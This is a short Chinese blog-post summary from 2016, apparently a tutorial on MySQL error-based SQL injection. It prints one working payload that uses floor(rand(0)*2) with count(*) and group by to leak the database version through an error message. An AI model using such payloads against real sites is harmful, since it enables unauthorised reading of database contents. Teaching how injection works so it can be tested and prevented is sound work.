摘要: ~全部都以查user()为例子~ 1.floor()id = 1 and (select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a) 阅读全文
posted @ 2016-05-14 22:38 Dleo 阅读(14473) 评论(0) 推荐(0)